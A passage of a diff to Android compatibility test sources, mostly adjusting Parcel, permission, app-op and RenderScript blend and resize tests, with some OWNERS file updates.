assertTrue("Expected " + fieldName + " value to be < " + CUR_DEVELOPMENT
+ ", got " + fieldValue, fieldValue < CUR_DEVELOPMENT);
}
- // KNOWN_CODENAMES only tracks Q+ codenames
- if (fieldValue >= Build.VERSION_CODES.Q) {
- // Remove all underscores to match build level codenames, e.g. S_V2 is Sv2.
- String name = fieldName.replaceAll("_", "");
- declaredCodenames.add(name);
- assertTrue("Expected " + name
+ declaredCodenames.add(fieldNameWithoutUnderscores);
+ assertTrue("Expected " + fieldNameWithoutUnderscores
+ " to be declared in Build.VERSION.KNOWN_CODENAMES",
- knownCodenames.contains(name));
- }
+ knownCodenames.contains(fieldNameWithoutUnderscores));
}
}
}
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 6faf654..fa03ba0 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -53,6 +53,8 @@
import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertThrows;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.verify;
public class ParcelTest extends AndroidTestCase {
@@ -2520,6 +2522,23 @@
p.recycle();
}
+ public void testWriteTypedList() {
+ Parcel p = Parcel.obtain();
+ ArrayList<SimpleParcelable> list = new ArrayList<>();
+ SimpleParcelable spy = spy(new SimpleParcelable(42));
+ list.add(spy);
+ int flags = Parcelable.PARCELABLE_WRITE_RETURN_VALUE;
+ p.writeTypedList(list, flags);
+
+ verify(spy).writeToParcel(p, flags);
+
+ p.setDataPosition(0);
+ ArrayList<SimpleParcelable> read = p.createTypedArrayList(SimpleParcelable.CREATOR);
+ assertEquals(list.size(), read.size());
+ assertEquals(list.get(0).getValue(), read.get(0).getValue());
+ p.recycle();
+ }
+
public void testCreateTypedArrayList() {
Parcel p;
ArrayList<Signature> s = new ArrayList<Signature>();
@@ -4636,4 +4655,69 @@
p = Parcel.obtain();
assertEquals(0, p.getFlags());
}
+
+ public static class SimpleParcelableWithoutNestedCreator implements Parcelable {
+ private final int value;
+
+ public SimpleParcelableWithoutNestedCreator(int value) {
+ this.value = value;
+ }
+
+ private SimpleParcelableWithoutNestedCreator(Parcel in) {
+ this.value = in.readInt();
+ }
+
+ public int getValue() {
+ return value;
+ }
+
+ @Override
+ public int describeContents() {
+ return 0;
+ }
+
+ @Override
+ public void writeToParcel(Parcel out, int flags) {
+ out.writeInt(value);
+ }
+
+ public static Parcelable.Creator<SimpleParcelableWithoutNestedCreator> CREATOR =
+ new SimpleParcelableWithoutNestedCreatorCreator();
+ }
+
+ public static class SimpleParcelableWithoutNestedCreatorCreator implements
+ Parcelable.Creator<SimpleParcelableWithoutNestedCreator> {
+ @Override
+ public SimpleParcelableWithoutNestedCreator createFromParcel(Parcel source) {
+ return new SimpleParcelableWithoutNestedCreator(source);
+ }
+
+ @Override
+ public SimpleParcelableWithoutNestedCreator[] newArray(int size) {
+ return new SimpleParcelableWithoutNestedCreator[size];
+ }
+ }
+
+ // http://b/232589966
+ public void testReadParcelableWithoutNestedCreator() {
+ Parcel p = Parcel.obtain();
+ p.writeParcelable(new SimpleParcelableWithoutNestedCreator(1), 0);
+ p.setDataPosition(0);
+ // First time checks the type of the creator using reflection
+ SimpleParcelableWithoutNestedCreator parcelable =
+ p.readParcelable(getClass().getClassLoader(),
+ SimpleParcelableWithoutNestedCreator.class);
+ assertEquals(1, parcelable.value);
+ p.recycle();
+
+ p = Parcel.obtain();
+ p.writeParcelable(new SimpleParcelableWithoutNestedCreator(2), 0);
+ p.setDataPosition(0);
+ // Second time tries to read it from a cache
+ parcelable =
+ p.readParcelable(getClass().getClassLoader(),
+ SimpleParcelableWithoutNestedCreator.class);
+ assertEquals(2, parcelable.value);
+ p.recycle();
+ }
}
diff --git a/tests/tests/os/src/android/os/cts/SystemClockSntpTest.java b/tests/tests/os/src/android/os/cts/SystemClockSntpTest.java
index 595048d..35e12d3 100644
--- a/tests/tests/os/src/android/os/cts/SystemClockSntpTest.java
+++ b/tests/tests/os/src/android/os/cts/SystemClockSntpTest.java
@@ -23,6 +23,7 @@
import static org.junit.Assert.assertTrue;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.util.Range;
import androidx.test.platform.app.InstrumentationRegistry;
@@ -98,6 +99,7 @@
}
}
+ @AppModeFull(reason = "Cannot bind socket in instant app mode")
@Test
public void testCurrentNetworkTimeClock() throws Exception {
// Start a local SNTP test server. But does not setup a fake response.
diff --git a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
index f243b3b..e787113 100644
--- a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
@@ -41,6 +41,8 @@
import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.UiAutomatorUtils;
+import android.app.DreamManager;
+
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
@@ -70,7 +72,6 @@
UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
private final ActivityManager mActivityManager =
mContext.getSystemService(ActivityManager.class);
-
private String mOldOneTimePermissionTimeoutValue;
@Rule
@@ -235,8 +236,14 @@
try {
new Thread(() -> {
while (!hasExited[0]) {
+ DreamManager mDreamManager = mContext.getSystemService(DreamManager.class);
mUiDevice.pressHome();
mUiDevice.pressBack();
+ runWithShellPermissionIdentity(() -> {
+ if (mDreamManager.isDreaming()) {
+ mDreamManager.stopDream();
+ }
+ });
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
diff --git a/tests/tests/permission2/res/raw/OWNERS b/tests/tests/permission2/res/raw/OWNERS
index 0caf02b..30c2543 100644
--- a/tests/tests/permission2/res/raw/OWNERS
+++ b/tests/tests/permission2/res/raw/OWNERS
@@ -1,10 +1,8 @@
-svetoslavganov@google.com
cbrubaker@google.com
hackbod@google.com
-toddke@google.com
patb@google.com
yamasani@google.com
michaelwr@google.com
narayan@google.com
roosa@google.com
-per-file automotive_android_manifest.xml = sgurun@google.com
\ No newline at end of file
+per-file automotive_android_manifest.xml = sgurun@google.com,keunyoung@google.com,felipeal@google.com,skeys@google.com
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 2eccd0d..73dff93 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -6281,10 +6281,6 @@
android:permission="android.permission.BIND_JOB_SERVICE" >
</service>
- <service android:name="com.android.server.timezone.TimeZoneUpdateIdler"
- android:permission="android.permission.BIND_JOB_SERVICE" >
- </service>
-
<service android:name="com.android.server.usage.UsageStatsIdleService"
android:permission="android.permission.BIND_JOB_SERVICE" >
</service>
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index 4117a78..d6ce2e1 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -435,11 +435,6 @@
android:label="@string/car_permission_label_collect_car_watchdog_metrics"
android:description="@string/car_permission_desc_collect_car_watchdog_metrics"/>
- <permission android:name="android.car.permission.USE_CAR_TELEMETRY_SERVICE"
- android:protectionLevel="signature|privileged"
- android:label="@string/car_permission_label_use_telemetry_service"
- android:description="@string/car_permission_desc_use_telemetry_service"/>
-
<permission android:name="android.car.permission.CONTROL_CAR_EVS_ACTIVITY"
android:protectionLevel="signature|privileged"
android:label="@string/car_permission_label_control_evs_activity"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 35ed018..3b20f6d 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -67,6 +67,9 @@
private static final String MANAGE_COMPANION_DEVICES_PERMISSION
= "android.permission.MANAGE_COMPANION_DEVICES";
+ private static final String ALLOW_SLIPPERY_TOUCHES_PERMISSION
+ = "android.permission.ALLOW_SLIPPERY_TOUCHES";
+
private static final String LOG_TAG = "PermissionProtectionTest";
private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -441,6 +444,9 @@
return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
case MANAGE_COMPANION_DEVICES_PERMISSION:
return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
+ case ALLOW_SLIPPERY_TOUCHES_PERMISSION:
+ // In R and S branches, skip this permission
+ return true;
default:
return false;
}
diff --git a/tests/tests/permission4/Android.bp b/tests/tests/permission4/Android.bp
index 22b0aa2..bb0fd4b 100644
--- a/tests/tests/permission4/Android.bp
+++ b/tests/tests/permission4/Android.bp
@@ -22,7 +22,6 @@
name: "CtsPermission4TestCases",
sdk_version: "test_current",
defaults: ["cts_defaults"],
- platform_apis: true,
srcs: [
"src/**/*.kt",
],
diff --git a/tests/tests/permission5/OWNERS b/tests/tests/permission5/OWNERS
index febd665..6e91130 100644
--- a/tests/tests/permission5/OWNERS
+++ b/tests/tests/permission5/OWNERS
@@ -1,7 +1,7 @@
# Bug component: 137825
-svetoslavganov@google.com
+narayan@google.com
zhanghai@google.com
eugenesusla@google.com
evanseverson@google.com
ntmyren@google.com
-ewol@google.com
+ashfall@google.com
diff --git a/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt b/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
index 8cff38a..67fa1bc 100644
--- a/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
+++ b/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
@@ -25,6 +25,7 @@
import android.content.ContextParams
import android.content.Intent
import android.content.pm.PackageManager.FEATURE_LEANBACK
+import android.content.pm.PackageManager.FEATURE_TELEPHONY
import android.net.Uri
import android.os.Bundle
import android.os.Process
@@ -44,6 +45,7 @@
import com.google.common.truth.Truth.assertThat
import org.junit.After
import org.junit.Assume.assumeFalse
+import org.junit.Assume.assumeTrue
import org.junit.Before
import org.junit.Test
import org.mockito.ArgumentMatcher
@@ -105,6 +107,7 @@
@Throws(Exception::class)
fun testSelfSmsAccess() {
assumeNotTv()
+ assumeHasTelephony()
testSelfAccess(Telephony.Sms.CONTENT_URI,
Manifest.permission.READ_SMS)
}
@@ -178,6 +181,7 @@
@Throws(Exception::class)
fun testUntrustedSmsAccessAttributeToAnother() {
assumeNotTv()
+ assumeHasTelephony()
testUntrustedAccessAttributeToAnother(Telephony.Sms.CONTENT_URI,
Manifest.permission.READ_SMS)
}
@@ -225,6 +229,7 @@
@Throws(Exception::class)
fun testUntrustedSmsAccessAttributeToAnotherThroughIntermediary() {
assumeNotTv()
+ assumeHasTelephony()
testUntrustedAccessAttributeToAnotherThroughIntermediary(
Telephony.Sms.CONTENT_URI,
Manifest.permission.READ_SMS)
@@ -323,6 +328,7 @@
@Throws(Exception::class)
fun testTrustedAccessSmsAttributeToAnother() {
assumeNotTv()
+ assumeHasTelephony()
testTrustedAccessAttributeToAnother(Telephony.Sms.CONTENT_URI,
Manifest.permission.READ_SMS)
}
@@ -666,6 +672,7 @@
get() = InstrumentationRegistry.getInstrumentation()
private val isTv = context.packageManager.hasSystemFeature(FEATURE_LEANBACK)
+ private val isTel = context.packageManager.hasSystemFeature(FEATURE_TELEPHONY)
fun ensureAuxiliaryAppsNotRunningAndNoResidualProcessState() {
SystemUtil.runShellCommand("am force-stop $RECEIVER_PACKAGE_NAME")
@@ -1178,5 +1185,6 @@
}
private fun assumeNotTv() = assumeFalse(isTv)
+ private fun assumeHasTelephony() = assumeTrue(isTel)
}
}
diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceRecycleTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceRecycleTest.java
index f678d55..567c9d1 100644
--- a/tests/tests/preference/src/android/preference/cts/PreferenceRecycleTest.java
+++ b/tests/tests/preference/src/android/preference/cts/PreferenceRecycleTest.java
@@ -16,7 +16,6 @@
package android.preference.cts;
-import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
@@ -86,25 +85,7 @@
RecycleCheckPreference noRecyclePref =
(RecycleCheckPreference) screen.findPreference("pref_checkbox_no_recycle");
- // At the beginning the views must be always created (no recycling involved).
- assertEquals(1, recyclePref.getViewCalledCnt);
- assertTrue(recyclePref.wasConvertViewNullInLastCall);
-
- assertEquals(1, noRecyclePref.getViewCalledCnt);
- assertTrue(noRecyclePref.wasConvertViewNullInLastCall);
-
- // Change a value of some pref to force the list to refresh
- mActivityRule.runOnUiThread(() -> recyclePref.setChecked(!recyclePref.isChecked()));
-
- // Wait for the list to refresh
- PollingCheck.waitFor(TIMEOUT_MS,
- () -> recyclePref.getViewCalledCnt == 2 && noRecyclePref.getViewCalledCnt == 2);
-
- assertEquals(2, recyclePref.getViewCalledCnt);
- assertFalse(recyclePref.wasConvertViewNullInLastCall); // Recycling
-
- assertEquals(2, noRecyclePref.getViewCalledCnt);
- assertTrue(noRecyclePref.wasConvertViewNullInLastCall); // Not recycling
+ assertRecycle(recyclePref, noRecyclePref);
}
/**
@@ -140,8 +121,12 @@
RecycleCheckPreference noRecyclePref =
(RecycleCheckPreference) screen.findPreference("noRecyclePref");
- // Wait for the views to be created (because we may scroll the screen to display the
- // latest views, these views may get refreshed more than once).
+ assertRecycle(recyclePref, noRecyclePref);
+ }
+
+ private void assertRecycle(RecycleCheckPreference recyclePref,
+ RecycleCheckPreference noRecyclePref) throws Throwable {
+ // Wait for the views to be created.
PollingCheck.waitFor(TIMEOUT_MS,
() -> recyclePref.getViewCalledCnt > 0 && noRecyclePref.getViewCalledCnt > 0);
diff --git a/tests/tests/provider/OWNERS b/tests/tests/provider/OWNERS
index 1e318ea..7c9a6b2 100644
--- a/tests/tests/provider/OWNERS
+++ b/tests/tests/provider/OWNERS
@@ -1,7 +1,13 @@
-# Bug component: 655625
-
-include platform/frameworks/base:/core/java/android/os/storage/OWNERS
-
tgunn@google.com
nicksauer@google.com
nona@google.com
+
+# Storage team ownership
+
+# Bug component: 655625 = per-file *MediaStore*
+
+per-file *MediaStore* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file Android.bp = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file AndroidManifest.xml = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file AndroidTest.xml = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file OWNERS = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/tests/tests/renderscript/Android.bp b/tests/tests/renderscript/Android.bp
index 4011075..1934bb6 100644
--- a/tests/tests/renderscript/Android.bp
+++ b/tests/tests/renderscript/Android.bp
@@ -23,6 +23,7 @@
// Include both the 32 and 64 bit versions
compile_multilib: "both",
static_libs: [
+ "compatibility-device-util-axt",
"ctstestrunner-axt",
"xmp_toolkit",
],
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java b/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
index c069760..88b2b75 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
@@ -16,6 +16,9 @@
package android.renderscript.cts;
+import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
+
import android.renderscript.Allocation;
import android.renderscript.Byte2;
@@ -61,6 +64,8 @@
import android.renderscript.ScriptIntrinsicLUT;
import android.util.Log;
+import com.android.compatibility.common.util.PropertyUtil;
+
public class ImageProcessingTest extends RSBaseCompute {
private Allocation a1, a2;
@@ -109,6 +114,7 @@
mBlur.destroy();
}
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
public void testBlend() {
ScriptIntrinsicBlend mBlend;
mBlend = ScriptIntrinsicBlend.create(mRS, Element.U8_4(mRS));
@@ -119,9 +125,8 @@
byte[] srcData = new byte[w * h * 4];
byte[] dstData = new byte[w * h * 4];
byte[] resultData = new byte[w * h * 4];
- Script.LaunchOptions opt = new Script.LaunchOptions();
- // unclipped but with options
- for (int i = 0; i < 28; i++) {
+
+ for (int i = 0; i < 14; i++) {
buildSrc(srcData, w, h);
buildDst(dstData, w, h);
src.copyFromUnchecked(srcData);
@@ -170,51 +175,79 @@
case 13:
mBlend.forEachMultiply(src, dst);
break;
- case 14:
+ }
+ dst.copyTo(resultData);
+ String name = javaBlend(i, srcData, dstData, 0, w, 0, h, w);
+ assertTrue(name, similar(resultData,dstData));
+ Log.v("BlendUnit", name + " " + similar(resultData, dstData));
+ }
+
+ // Do the same but passing LaunchOptions
+ int xStart = 0;
+ int xEnd = w;
+ int yStart = 0;
+ int yEnd = h;
+ // LaunchOptions tests with restricted range are new tests added in T, so only test them
+ // when the vendor partition has version >= T.
+ if (PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+ xStart = 10;
+ xEnd = 20;
+ yStart = 3;
+ yEnd = 6;
+ }
+ Script.LaunchOptions opt = new Script.LaunchOptions();
+ opt.setX(xStart, xEnd).setY(yStart, yEnd);
+ for (int i = 0; i < 14; i++) {
+ buildSrc(srcData, w, h);
+ buildDst(dstData, w, h);
+ src.copyFromUnchecked(srcData);
+ dst.copyFromUnchecked(dstData);
+ switch (i) {
+ case 0:
mBlend.forEachSrc(src, dst, opt);
break;
- case 15:
+ case 1:
mBlend.forEachDst(src, dst, opt);
break;
- case 16:
+ case 2:
mBlend.forEachSrcOver(src, dst, opt);
break;
- case 17:
+ case 3:
mBlend.forEachDstOver(src, dst, opt);
break;
- case 18:
+ case 4:
mBlend.forEachSrcIn(src, dst, opt);
break;
- case 19:
+ case 5:
mBlend.forEachDstIn(src, dst, opt);
break;
- case 20:
+ case 6:
mBlend.forEachSrcOut(src, dst, opt);
break;
- case 21:
+ case 7:
mBlend.forEachDstOut(src, dst, opt);
break;
- case 22:
+ case 8:
mBlend.forEachSrcAtop(src, dst, opt);
break;
- case 23:
+ case 9:
mBlend.forEachDstAtop(src, dst, opt);
break;
- case 24:
+ case 10:
mBlend.forEachXor(src, dst, opt);
break;
- case 25:
+ case 11:
mBlend.forEachAdd(src, dst, opt);
break;
- case 26:
+ case 12:
mBlend.forEachSubtract(src, dst, opt);
break;
- case 27:
+ case 13:
mBlend.forEachMultiply(src, dst, opt);
break;
}
dst.copyTo(resultData);
- String name = javaBlend(i%14, srcData, dstData);
+ String name = javaBlend(i, srcData, dstData, xStart, xEnd, yStart, yEnd, w);
assertTrue(name, similar(resultData,dstData));
Log.v("BlendUnit", name + " " + similar(resultData, dstData));
@@ -260,6 +293,18 @@
srcData[i * 4 + 2] = (byte) 0; // blue
srcData[i * 4 + 3] = (byte) y; // alpha
}
+ // Manually set a few known problematic values.
+ // These created problems for SRC_OVER, SRC_ATOP
+ srcData[0] = 230 - 256;
+ srcData[1] = 200 - 256;
+ srcData[2] = 210 - 256;
+ srcData[3] = 7;
+
+ // These created problems for DST_OVER, DST_ATOP,
+ srcData[4] = 230 - 255;
+ srcData[5] = 200 - 256;
+ srcData[6] = 210 - 256;
+ srcData[7] = 245 - 256;
}
// Build a test pattern to be the destination pattern designed to provide a wide range of values
@@ -273,18 +318,29 @@
dstData[i * 4 + 2] = (byte) y; // blue
dstData[i * 4 + 3] = (byte) x; // alpha
}
+ // Manually set a few known problematic values
+ dstData[0] = 170 - 256;
+ dstData[1] = 180 - 256;
+ dstData[2] = 230 - 256;
+ dstData[3] = 245 - 256;
+ dstData[4] = 170 - 256;
+ dstData[5] = 180 - 256;
+ dstData[6] = 230 - 256;
+ dstData[7] = 9;
}
- public String javaBlend(int type, byte[] src, byte[] dst) {
-
- for (int i = 0; i < dst.length; i += 4) {
- byte[] rgba = func[type].filter(src[i], src[i + 1], src[i + 2], src[i + 3],
- dst[i], dst[i + 1], dst[i + 2], dst[i + 3]);
- dst[i] = rgba[0];
- dst[i + 1] = rgba[1];
- dst[i + 2] = rgba[2];
- dst[i + 3] = rgba[3];
+ public String javaBlend(int type, byte[] src, byte[] dst, int xStart, int xEnd, int yStart, int yEnd, int width) {
+ for (int y = yStart; y < yEnd; y++) {
+ for (int x = xStart; x < xEnd; x++) {
+ int i = (y * width + x) * 4;
+ byte[] rgba = func[type].filter(src[i], src[i + 1], src[i + 2], src[i + 3],
+ dst[i], dst[i + 1], dst[i + 2], dst[i + 3]);
+ dst[i] = rgba[0];
+ dst[i + 1] = rgba[1];
+ dst[i + 2] = rgba[2];
+ dst[i + 3] = rgba[3];
+ }
}
return func[type].name;
}
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
index e542f37..a939db4 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
@@ -16,15 +16,24 @@
package android.renderscript.cts;
+import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
import android.renderscript.*;
import android.util.Log;
+import com.android.compatibility.common.util.PropertyUtil;
public class IntrinsicResize extends IntrinsicBase {
static final int inX = 307;
static final int inY = 157;
- private void testResize(int w, int h, Element.DataType dt, int vecSize, float scaleX, float scaleY) {
+ private void testResize(int w, int h, Element.DataType dt, int vecSize, float scaleX, float scaleY, boolean useOpt) {
+
+ // The LaunchOptions tests are new tests added in T, so skip the tests if the vendor
+ // partition has an earlier version.
+ if (useOpt && !PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+ return;
+ }
Element e = makeElement(dt, vecSize);
@@ -42,9 +51,14 @@
mAllocRef = makeAllocation(outW, outH, e);
mAllocDst = makeAllocation(outW, outH, e);
+ Script.LaunchOptions options = makeClipper(10, 8, 40, 46);
ScriptIntrinsicResize si = ScriptIntrinsicResize.create(mRS);
si.setInput(mAllocSrc);
- si.forEach_bicubic(mAllocRef);
+ if (useOpt) {
+ si.forEach_bicubic(mAllocRef, options);
+ } else {
+ si.forEach_bicubic(mAllocRef);
+ }
ScriptC_intrinsic_resize sr = new ScriptC_intrinsic_resize(mRS);
sr.set_scaleX((float)w/outW);
@@ -52,44 +66,77 @@
sr.set_gIn(mAllocSrc);
sr.set_gWidthIn(w);
sr.set_gHeightIn(h);
- if (dt == Element.DataType.UNSIGNED_8) {
+ if (useOpt) {
+ if (dt == Element.DataType.UNSIGNED_8) {
switch(vecSize) {
- case 4:
+ case 4:
+ sr.forEach_bicubic_U4(mAllocDst, options);
+ break;
+ case 3:
+ sr.forEach_bicubic_U3(mAllocDst, options);
+ break;
+ case 2:
+ sr.forEach_bicubic_U2(mAllocDst, options);
+ break;
+ case 1:
+ sr.forEach_bicubic_U1(mAllocDst, options);
+ break;
+ }
+ } else {
+ switch(vecSize) {
+ case 4:
+ sr.forEach_bicubic_F4(mAllocDst, options);
+ break;
+ case 3:
+ sr.forEach_bicubic_F3(mAllocDst, options);
+ break;
+ case 2:
+ sr.forEach_bicubic_F2(mAllocDst, options);
+ break;
+ case 1:
+ sr.forEach_bicubic_F1(mAllocDst, options);
+ break;
+ }
+ }
+ } else {
+ if (dt == Element.DataType.UNSIGNED_8) {
+ switch(vecSize) {
+ case 4:
sr.forEach_bicubic_U4(mAllocDst);
break;
- case 3:
+ case 3:
sr.forEach_bicubic_U3(mAllocDst);
break;
- case 2:
+ case 2:
sr.forEach_bicubic_U2(mAllocDst);
break;
- case 1:
+ case 1:
sr.forEach_bicubic_U1(mAllocDst);
break;
}
- } else {
+ } else {
switch(vecSize) {
- case 4:
+ case 4:
sr.forEach_bicubic_F4(mAllocDst);
break;
- case 3:
+ case 3:
sr.forEach_bicubic_F3(mAllocDst);
break;
- case 2:
+ case 2:
sr.forEach_bicubic_F2(mAllocDst);
break;
- case 1:
+ case 1:
sr.forEach_bicubic_F1(mAllocDst);
break;
}
+ }
}
-
mVerify.set_gAllowedIntError(1);
mVerify.invoke_verify(mAllocRef, mAllocDst, mAllocSrc);
- if (outW == w && outH == h) {
+ //when scale = 1 and we're copyin the entire input, check with the original.
+ if (outW == w && outH == h && !useOpt) {
mVerify.set_gAllowedIntError(0);
- //when scale = 1, check with the original.
mVerify.invoke_verify(mAllocRef, mAllocSrc, mAllocSrc);
mVerify.invoke_verify(mAllocDst, mAllocSrc, mAllocSrc);
}
@@ -101,343 +148,764 @@
public void test_U8_4_SCALE10_10_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f, false);
checkError();
}
public void test_U8_3_SCALE10_10_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f, false);
checkError();
}
public void test_U8_2_SCALE10_10_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f, false);
checkError();
}
public void test_U8_1_SCALE10_10_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f, false);
checkError();
}
public void test_U8_4_SCALE20_20_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f, false);
checkError();
}
public void test_U8_3_SCALE20_20_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f, false);
checkError();
}
public void test_U8_2_SCALE20_20_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f, false);
checkError();
}
public void test_U8_1_SCALE20_20_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f, false);
checkError();
}
public void test_U8_4_SCALE05_20_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f, false);
checkError();
}
public void test_U8_3_SCALE05_20_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f, false);
checkError();
}
public void test_U8_2_SCALE05_20_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f, false);
checkError();
}
public void test_U8_1_SCALE05_20_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f, false);
checkError();
}
public void test_U8_4_SCALE20_05_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f, false);
checkError();
}
public void test_U8_3_SCALE20_05_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f, false);
checkError();
}
public void test_U8_2_SCALE20_05_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f, false);
checkError();
}
public void test_U8_1_SCALE20_05_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f, false);
checkError();
}
public void test_U8_4_SCALE05_05_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f, false);
checkError();
}
public void test_U8_3_SCALE05_05_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f, false);
checkError();
}
public void test_U8_2_SCALE05_05_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f, false);
checkError();
}
public void test_U8_1_SCALE05_05_inSquare() {
- testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f);
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f, false);
checkError();
}
public void test_U8_4_SCALE10_10_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f, false);
checkError();
}
